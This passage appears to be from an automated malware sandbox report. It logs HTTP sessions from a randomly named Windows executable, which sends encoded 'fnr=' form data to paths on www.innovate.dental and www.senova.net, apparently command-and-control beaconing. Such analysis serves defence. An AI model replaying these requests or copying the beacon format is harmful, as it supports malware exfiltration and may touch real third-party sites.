                                                                                          Data Raw: 66 6e 72 3d 5a 77 46 4c 41 4e 49 41 79 4a 33 41 68 75 7a 70 4b 38 4f 71 58 51 59 66 32 30 74 33 6f 63 77 47 38 5a 7a 45 35 30 49 74 31 52 73 7a 75 49 48 73 6a 63 66 58 63 36 5a 36 44 61 50 2f 76 31 55 52 75 57 4e 4f 33 35 61 38 33 4d 31 6e 54 42 37 4f 51 49 35 2f 78 6f 75 46 52 42 70 6e 42 55 6d 33 31 33 66 6a 73 47 44 6b 4d 66 4f 61 39 75 6f 78 2f 68 67 71 4d 4a 38 7a 4b 75 69 68 50 55 32 6d 79 61 37 43 68 2f 70 48 47 72 42 63 57 48 6f 35 35 49 4c 39 41 48 56 55 58 44 53 41 5a 78 66 4f 4b 6f 53 45 6f 71 48 6f 4d 59 4f 6b 51 4f 48 33 69 6d 54 6a 42 71 42 6e 42 38 39 35 4e 52 78 77 4b 2b 6d 70 72 63 77 63 44 61 4e 4d 66 45 63 48 45 74 6c 51 66 55 2f 5a 46 5a 65 62 31 58 69 63 76 48 75 4d 67 79 4b 41 61 68 5a 64 57 62 68 4a 4e 57 38 42 49 41 43 44 6c 46 6d 43 46 45 72 2b 4a 46 79 53 6a 66 31 57 65 35 75 6e 76 30 70 42 4a 4c 33 52 68 6c 43 43 33 74 71 4f 6c 53 57 53 65 4f 44 2f 46 6c 53 43 2b 54 43 6f 30 4e 56 39 52 47 43 69 73 2b 72 2b 65 59 73 52 72 6a 72 59 77 4b 33 56 49 4a 76 6f 2f 39 61 56 39 6c [TRUNCATED]
                                                                                          Data Ascii: fnr=ZwFLANIAyJ3AhuzpK8OqXQYf20t3ocwG8ZzE50It1RszuIHsjcfXc6Z6DaP/v1URuWNO35a83M1nTB7OQI5/xouFRBpnBUm313fjsGDkMfOa9uox/hgqMJ8zKuihPU2mya7Ch/pHGrBcWHo55IL9AHVUXDSAZxfOKoSEoqHoMYOkQOH3imTjBqBnB895NRxwK+mprcwcDaNMfEcHEtlQfU/ZFZeb1XicvHuMgyKAahZdWbhJNW8BIACDlFmCFEr+JFySjf1We5unv0pBJL3RhlCC3tqOlSWSeOD/FlSC+TCo0NV9RGCis+r+eYsRrjrYwK3VIJvo/9aV9lnn4zKcOQphJuN0NWpowuOpfH6Sz6IGcoWlr+XV4cFrJZbmk7UF594PR0ruKMlHH5fyWBXQL8A+oM2gT/757fdq4Nd/USc4VTUvZwWeZmwXLDM/cIAG0iJmtqXmF8TD7cXjL9wmp+W2VTNg5qdHUdIZPS93Z9MJeXFJLUA89+iViC6YiSlkCudEuZ+2R36ydk42zH39mPNdEykhuFiTH/pdWV9ljPmtyudJ/NcgPyXs9QCAsDdIwFVXPCBs2LKQBphQfvqvzS62k07JdmZ2C7rPdZr3WulKnF8LTGJUzvy5Yfky20FXE2o+Uj1d0oepmX2s1jxi7xVAhsnxwe4Ob6ivGsVZoj2Pd5phH7GevKV08//Fwqz9QLFLXWR5DdY2tPnL2Ue+Hzw4ty4faiuuLXhP0GsQg/+KJKdtt4wZ0n/YGPJ8ovVPqaQTnbeMwcqGVd22PW0G2XpustltnqTfoWISckOdIEIUWWu4x/vOV4ZlwQBg7u28wif6WQRIaP2l7F4hIWlQJGn69UPoPx3gyjw/CrIACrbESXciW5LseZSmcP3cyi21aKmrz9/w3L8N1AXi6/vo1HE/5y4Ktb4bZWs7oDiHQl84eX/s23FGjLsGsR+SnC24tDwFLiSlJsKaKEUAX4UZ0eIS5djNEaDLVE63JSVu5MM9o8QS [TRUNCATED]
                                                                                          Oct 25, 2024 16:54:00.166088104 CEST1236INHTTP/1.1 404 Not Found
                                                                                          Date: Fri, 25 Oct 2024 14:53:59 GMT
                                                                                          Content-Type: text/html; charset=utf-8
                                                                                          Transfer-Encoding: chunked
                                                                                          Connection: close
                                                                                          Vary: Accept-Encoding
                                                                                          Last-Modified: Mon, 26 Aug 2024 12:21:04 GMT
                                                                                          cf-cache-status: DYNAMIC
                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OLmyQmLePX7TS0PepUqSG0Dyfp2NY47sETcBFuIwXR2iZ2UiwHfE2SCuWBoomdiYxFdROgCbV4qicHPe5U0Kf6pcaR%2B7fnosY6RN6NzRfEhzSzJXm2spBEqUTHJK%2B8IEqDbwCECY"}],"group":"cf-nel","max_age":604800}
                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                          Server: cloudflare
                                                                                          CF-RAY: 8d830a113abab78f-DFW
                                                                                          Content-Encoding: gzip
                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=2437&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1793&delivery_rate=0&cwnd=41&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                          Data Raw: 35 35 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 94 56 db 8e db 36 10 7d f6 7e c5 44 45 91 16 30 69 de 25 39 b6 d1 64 9b a0 79 d8 24 e8 b6 28 fa 14 d0 12 65 a9 2b 8b ae 44 db eb 2d f2 ef 05 75 f1 fa 92 a0 28 64 49 c3 33 3c 23 72 78 86 f4 ec c5 cf 1f 6f 7f fb f3 d3 5b c8 dd ba 5c dc cc fc 0b 4a 5d ad e6 81 a9 82 c5 cd 68 96 1b 9d 2e 6e 46 a3 d9 da 38 0d 49 ae eb c6 b8 79 b0 75 19 8a 02 98 3c bb 2a bd 36 f3 60 57 98 fd c6 d6 2e 80 c4 56 ce 54 6e 1e ec 8b d4 e5 f3 d4 ec 8a c4 a0 b6 31 86 a2 2a 5c a1 4b d4 24 ba 34 73 3a 04 72 85 2b cd e2 93 5e 19 f8 60 1d bc b3 db 2a 9d 4d 3a d4 fb 1b 77 e8 ac d1 d2 a6 07 f8 c7 5b a3 a5 4e 1e 56 b5 ef 8a 12 5b da 7a 0a df 65 d2 5f af 5a f7 5a d7 ab a2 42 ce 6e a6 10 7d df 61 43 3f 99 fa ab c3 32 5b 39 94 e9 75 51 1e a6 80 f4 66 53 1a d4 1c 1a 67 d6 63 78 53 16 d5 c3 9d 4e ee db f6 3b 5b b9 31 04 f7 66 65 0d fc fe 3e 18 c3 af 76 69 9d 1d 43 f0 8b 29 77 c6 15 89 86 0f 66 6b 82 31 bc ae 0b 5d 8e db 0f 8c 82 0f d6 59 b8 d7 55 13 8c a1 d1 55 83 1a 53 17 d9 18 82 d7 fe 6b 70 eb [TRUNCATED]
                                                                                          Data Ascii: 55cV6}~DE0i%9dy$(e+D-u(dI3<#rxo[\J]h.nF8Iyu<*6`W.VTn1*\K$4s:r+^`*M:w[NV[ze_ZZBn}aC?2[9uQfSgcxSN;[1fe>viC)wfk1]YUUSkpGo"8^28{fCMS<z?0)
                                                                                          Oct 25, 2024 16:54:00.166131020 CEST999INData Raw: 20 38 94 3f 9e f0 74 59 ac aa 29 24 a6 72 a6 6e f1 2f 37 fe 99 d3 3e ed 6d be 9a e2 c9 4c 81 61 21 cd fa 24 8d 7b 53 ac 72 37 85 90 90 6f 27 bc 34 ce 99 1a 35 1b 9d 14 d5 6a 0a 88 60 c2 86 30 fd aa 2d ad 73 76 3d 05 4e 36 8f d7 cb 79 44 bb a1 61
                                                                                          Data Ascii: 8?tY)$rn/7>mLa!${Sr7o'45j`0-sv=N6yDa/9]Tmu7:u/MvQuU3?FGP[cyuDk),8y_]5y+yH~<zk[_QOuUTj%g6$1Ms9\'0VWl


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          8192.168.2.549425104.21.68.22803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:54:01.877211094 CEST495OUTGET /jc0n/?fnr=UytrD6wFvNa/vd3tNcDpO0k23ldkh+9c2vjZxgEGoBYX1NL5i6yWC4ILK4/wl2RatjNzkpyfmbhhWAPDZLF3nPKCZUB+Okfg3nepk0LcHs6ly/hw/A8iP8B2IOy1BVLDog==&zB=nPlhZPwp4vxtG8 HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Connection: close
                                                                                          Host: www.innovate.dental
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Oct 25, 2024 16:54:02.568595886 CEST1236INHTTP/1.1 404 Not Found
                                                                                          Date: Fri, 25 Oct 2024 14:54:02 GMT
                                                                                          Content-Type: text/html; charset=utf-8
                                                                                          Transfer-Encoding: chunked
                                                                                          Connection: close
                                                                                          Vary: Accept-Encoding
                                                                                          Last-Modified: Mon, 26 Aug 2024 12:21:04 GMT
                                                                                          cf-cache-status: DYNAMIC
                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s5oDqF8VGvDuR0gg8g1ym0Ma8HV1fxLEI5YDThK6u568aq0%2Fp4X%2FJkbnCqK%2BF68sSuh90Qj%2Fl29z2wvZ3Xg1Gm%2Fh4lMjQsona%2FWks8lfPXiV5IE5YE9zzdxck1Z3zvbhltU%2FFUX%2F"}],"group":"cf-nel","max_age":604800}
                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                          Server: cloudflare
                                                                                          CF-RAY: 8d830a211b44eabd-DFW
                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1098&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=495&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                          Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 [TRUNCATED]
                                                                                          Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "
                                                                                          Oct 25, 2024 16:54:02.568654060 CEST212INData Raw: 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 0a
                                                                                          Data Ascii: Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weig
                                                                                          Oct 25, 2024 16:54:02.568696022 CEST1236INData Raw: 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b
                                                                                          Data Ascii: ht: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration
                                                                                          Oct 25, 2024 16:54:02.568737984 CEST1133INData Raw: 3d 22 30 20 30 20 35 31 32 20 35 31 32 22 0a 09 09 09 09 09 09 3e 0a 09 09 09 09 09 09 09 3c 70 61 74 68 0a 09 09 09 09 09 09 09 09 64 3d 22 4d 35 30 34 20 32 35 36 63 30 20 31 33 36 2e 39 39 37 2d 31 31 31 2e 30 34 33 20 32 34 38 2d 32 34 38 20
                                                                                          Data Ascii: ="0 0 512 512"><pathd="M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zM262.655 90c-54.497 0-89.255 22.957-116.549 63.758-3.536 5.286-2.353 12.415 2.715 16.258l34.699


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          9192.168.2.549426159.25.16.28803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:54:07.711875916 CEST741OUTPOST /5vx4/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 204
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.senova.net
                                                                                          Origin: http://www.senova.net
                                                                                          Referer: http://www.senova.net/5vx4/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 49 38 34 66 72 55 53 75 37 52 4e 35 61 47 73 32 41 50 74 76 7a 76 61 44 41 4f 31 4f 62 45 61 79 6a 39 66 6b 46 63 4e 35 58 43 6a 4c 4d 42 30 5a 52 4b 31 71 36 61 65 6a 47 33 73 54 2b 4f 42 7a 58 6e 4d 53 6d 36 6f 61 51 65 6a 72 66 34 64 34 46 70 58 6d 36 69 37 58 72 64 31 32 6a 67 59 69 4f 72 39 6a 30 4e 4f 78 32 66 31 36 35 2b 30 77 63 76 70 50 2f 38 70 56 4d 6b 45 64 75 38 7a 64 6c 6c 38 36 4a 56 45 41 6b 6c 6d 61 51 6b 49 57 6c 4d 4c 56 37 69 2b 44 68 6a 4d 47 58 79 75 67 4a 61 53 4b 43 50 6b 7a 35 7a 34 63 4e 36 54 4f 45 63 2b 4f 38 71 4f 38 49 41 69 69 79 52 7a 44 44 6a 6e 2f 42 59 4d 3d
                                                                                          Data Ascii: fnr=I84frUSu7RN5aGs2APtvzvaDAO1ObEayj9fkFcN5XCjLMB0ZRK1q6aejG3sT+OBzXnMSm6oaQejrf4d4FpXm6i7Xrd12jgYiOr9j0NOx2f165+0wcvpP/8pVMkEdu8zdll86JVEAklmaQkIWlMLV7i+DhjMGXyugJaSKCPkz5z4cN6TOEc+O8qO8IAiiyRzDDjn/BYM=
                                                                                          Oct 25, 2024 16:54:08.540190935 CEST226INHTTP/1.1 501 method not implemented
                                                                                          Server: redir-httpd
                                                                                          Date: Fri, 25 Oct 2024 14:54:08 GMT
                                                                                          Content-Length: 50
                                                                                          Connection: close
                                                                                          Content-Type: text/html; charset=utf-8
                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 6d 65 74 68 6f 64 20 6e 6f 74 20 69 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                          Data Ascii: <html><body>method not implemented</body></html>


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          10192.168.2.549428159.25.16.28803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:54:10.253334999 CEST761OUTPOST /5vx4/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 224
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.senova.net
                                                                                          Origin: http://www.senova.net
                                                                                          Referer: http://www.senova.net/5vx4/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 49 38 34 66 72 55 53 75 37 52 4e 35 61 6c 6b 32 47 6f 42 76 6e 2f 61 45 63 2b 31 4f 4f 55 62 35 6a 39 44 6b 46 64 59 38 55 78 48 4c 4d 6c 77 5a 51 4f 68 71 35 61 65 6a 4e 58 73 61 77 75 41 78 58 6e 42 74 6d 37 55 61 51 61 4c 72 66 35 74 34 46 61 76 6c 37 79 37 52 6a 39 31 30 74 41 59 69 4f 72 39 6a 30 4e 72 65 32 62 5a 36 35 75 45 77 63 4e 42 41 78 63 70 57 61 55 45 64 71 38 79 55 6c 6c 39 56 4a 55 59 36 6b 6e 75 61 51 6d 51 57 6c 39 4c 57 67 79 2b 42 2b 7a 4e 32 48 33 44 32 42 59 57 52 47 75 35 51 6f 67 52 6f 4d 4d 69 6b 65 2b 32 6d 76 4b 69 45 59 54 71 56 6a 68 53 71 5a 41 33 50 66 50 61 6e 70 50 4f 5a 34 62 79 34 53 36 71 2f 47 33 6c 67 75 47 6a 46
                                                                                          Data Ascii: fnr=I84frUSu7RN5alk2GoBvn/aEc+1OOUb5j9DkFdY8UxHLMlwZQOhq5aejNXsawuAxXnBtm7UaQaLrf5t4Favl7y7Rj910tAYiOr9j0Nre2bZ65uEwcNBAxcpWaUEdq8yUll9VJUY6knuaQmQWl9LWgy+B+zN2H3D2BYWRGu5QogRoMMike+2mvKiEYTqVjhSqZA3PfPanpPOZ4by4S6q/G3lguGjF
                                                                                          Oct 25, 2024 16:54:11.104368925 CEST226INHTTP/1.1 501 method not implemented
                                                                                          Server: redir-httpd
                                                                                          Date: Fri, 25 Oct 2024 14:54:10 GMT
                                                                                          Content-Length: 50
                                                                                          Connection: close
                                                                                          Content-Type: text/html; charset=utf-8
                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 6d 65 74 68 6f 64 20 6e 6f 74 20 69 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                          Data Ascii: <html><body>method not implemented</body></html>


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          11192.168.2.549429159.25.16.28803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:54:12.804826021 CEST1778OUTPOST /5vx4/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 1240
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.senova.net
                                                                                          Origin: http://www.senova.net
                                                                                          Referer: http://www.senova.net/5vx4/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 49 38 34 66 72 55 53 75 37 52 4e 35 61 6c 6b 32 47 6f 42 76 6e 2f 61 45 63 2b 31 4f 4f 55 62 35 6a 39 44 6b 46 64 59 38 55 78 50 4c 4d 77 6b 5a 51 76 68 71 34 61 65 6a 41 33 73 66 77 75 41 77 58 6e 5a 70 6d 37 5a 6c 51 63 50 72 5a 62 6c 34 44 72 76 6c 77 79 37 52 38 4e 31 78 6a 67 59 33 4f 6f 46 6e 30 4e 62 65 32 62 5a 36 35 73 4d 77 62 66 70 41 7a 63 70 56 4d 6b 45 42 75 38 7a 39 6c 68 5a 76 4a 58 31 59 6b 58 4f 61 51 47 41 57 32 37 2f 57 73 79 2b 48 2f 7a 4e 75 48 33 47 6f 42 5a 36 56 47 75 4e 36 6f 6a 42 6f 4f 4d 76 6d 4d 4f 47 52 74 36 79 34 4b 45 7a 35 2f 46 75 7a 59 68 2f 66 62 4e 61 35 6c 37 4c 78 33 39 71 6b 42 59 58 68 63 52 52 73 71 7a 47 61 53 41 6c 46 33 44 45 44 4a 41 77 2f 55 42 6b 52 58 2b 6f 67 30 62 44 33 53 68 44 75 51 31 75 4f 36 50 4d 74 54 34 6e 61 78 73 59 58 7a 49 45 32 66 7a 2f 4f 76 6b 79 77 69 63 4b 56 53 68 4d 39 58 51 35 43 76 77 55 64 57 58 79 53 34 43 73 41 50 6a 6b 55 59 61 35 77 35 69 39 58 41 61 53 41 6b 61 62 61 78 43 75 34 62 77 43 70 72 66 50 58 35 78 [TRUNCATED]
                                                                                          Data Ascii: fnr=I84frUSu7RN5alk2GoBvn/aEc+1OOUb5j9DkFdY8UxPLMwkZQvhq4aejA3sfwuAwXnZpm7ZlQcPrZbl4Drvlwy7R8N1xjgY3OoFn0Nbe2bZ65sMwbfpAzcpVMkEBu8z9lhZvJX1YkXOaQGAW27/Wsy+H/zNuH3GoBZ6VGuN6ojBoOMvmMOGRt6y4KEz5/FuzYh/fbNa5l7Lx39qkBYXhcRRsqzGaSAlF3DEDJAw/UBkRX+og0bD3ShDuQ1uO6PMtT4naxsYXzIE2fz/OvkywicKVShM9XQ5CvwUdWXyS4CsAPjkUYa5w5i9XAaSAkabaxCu4bwCprfPX5xFNjknlWe9MzE0FLS00f2jr+9CD+zaQdV3HsKQptlSH5hRcg/goExMlV26X7UMnQ5jBDbNoKO2o40zG3eXrcPZF6GBibF1lFfDIt/E3SYC8V+HQTS0HVNbTb9HCBnOAzLpWyb6LkLz4x9xge9Pyks+3PygtxeurMJjdINz82PP0ygLQtnnKDOfr1GiZVVJ+Z7io2Gq67KS8ekHn/z53NXgkku3RZwJZBbt77n4SWzfp/eZjptyMr0QwThn6nTz8k5B9I0eUpjRlRp8wYMLd9jxY6VGRT587APmTNsYOQkHSFPokrIzi9ABaYbJ7NJmqaS3PY9JgMA2PtQ5LDlsWgQ2IpsVkMC+0v8hBredRjKVfAZfQx4fUgjdHqhflMHRdrDGKUJtRNiDq1ffO4pD6hJFhJqRuUaYmL1VL3fRhUBo2ZdyhLOc/HMjZA6Jr+lBFNvQquQMU+8AcBpdTpAooXsWearo7HA2CfBRl/r6uhHSKojfkyn4Wp2jogorWOZ28KJ4hYGv6az/nGiB9hDICI7E1ree7Wni70ukvyz82RNaqjAM1GjUiqmk/21Z0x6DtH6f+LeVLAkPatJhL+EIuHV1f++myDCGeEPKvGUMLTZyKHyfgXIs7WuVEAqRgluifs5acBBC3QDKX9JMv5OPFWqY4oBuAHnFIlZrm [TRUNCATED]
                                                                                          Oct 25, 2024 16:54:13.664684057 CEST226INHTTP/1.1 501 method not implemented
                                                                                          Server: redir-httpd
                                                                                          Date: Fri, 25 Oct 2024 14:54:13 GMT
                                                                                          Content-Length: 50
                                                                                          Connection: close
                                                                                          Content-Type: text/html; charset=utf-8
                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 6d 65 74 68 6f 64 20 6e 6f 74 20 69 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                          Data Ascii: <html><body>method not implemented</body></html>


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          12192.168.2.549430159.25.16.28803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:54:15.346290112 CEST490OUTGET /5vx4/?fnr=F+Q/oi234QE9d1QgEcEi+8CLFMRKH2CotIb8Eb0mZz7PQFsfcMkN+a65D20t3vo+fBRr+scjRqvPSZwCIZrexxCQral+mRRCObwZ0cvT/OJZhdhweNlw79x8dxwhge2Ykg==&zB=nPlhZPwp4vxtG8 HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Connection: close
                                                                                          Host: www.senova.net
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Oct 25, 2024 16:54:16.187412977 CEST828INHTTP/1.1 301 Moved Permanently
                                                                                          Server: redir-httpd
                                                                                          Date: Fri, 25 Oct 2024 14:54:16 GMT
                                                                                          Location: http://www.senova.com/5vx4/?fnr=F+Q/oi234QE9d1QgEcEi+8CLFMRKH2CotIb8Eb0mZz7PQFsfcMkN+a65D20t3vo+fBRr+scjRqvPSZwCIZrexxCQral+mRRCObwZ0cvT/OJZhdhweNlw79x8dxwhge2Ykg==&zB=nPlhZPwp4vxtG8
                                                                                          Last-Modified: Fri, 25 Oct 2024 10:02:04 GMT
                                                                                          Content-Length: 435
                                                                                          Content-Type: text/html; charset=utf-8
                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 59 6f 75 20 61 72 65 20 6e 6f 77 20 72 65 64 69 72 65 63 74 65 64 20 74 6f 3c 62 72 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 6e 6f 76 61 2e 63 6f 6d 2f 35 76 78 34 2f 3f 66 6e 72 3d 46 2b 51 2f 6f 69 32 33 34 51 45 39 64 31 51 67 45 63 45 69 2b 38 43 4c 46 4d 52 4b 48 32 43 6f 74 49 62 38 45 62 30 6d 5a 7a 37 50 51 46 73 66 63 4d 6b 4e 2b 61 36 35 44 32 30 74 33 76 6f 2b 66 42 52 72 2b 73 63 6a 52 71 76 50 53 5a 77 43 49 5a 72 65 78 78 43 51 72 61 6c 2b 6d 52 52 43 4f 62 77 5a 30 63 76 54 2f 4f 4a 5a 68 64 68 77 65 4e 6c 77 37 39 78 38 64 78 77 68 67 65 32 59 6b 67 3d 3d 26 7a 42 3d 6e 50 6c 68 5a 50 77 70 34 76 78 74 47 38 22 3e 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 6e 6f 76 61 2e 63 6f 6d 2f 35 76 78 34 2f 3f 66 6e 72 3d 46 2b 51 2f 6f 69 32 33 34 51 45 39 64 31 51 67 45 63 45 69 2b 38 43 4c 46 4d 52 4b 48 32 43 6f 74 49 62 38 45 62 30 6d 5a 7a 37 50 51 46 73 66 63 4d 6b 4e 2b 61 36 35 44 32 30 74 33 76 6f 2b 66 42 52 72 2b 73 63 6a [TRUNCATED]
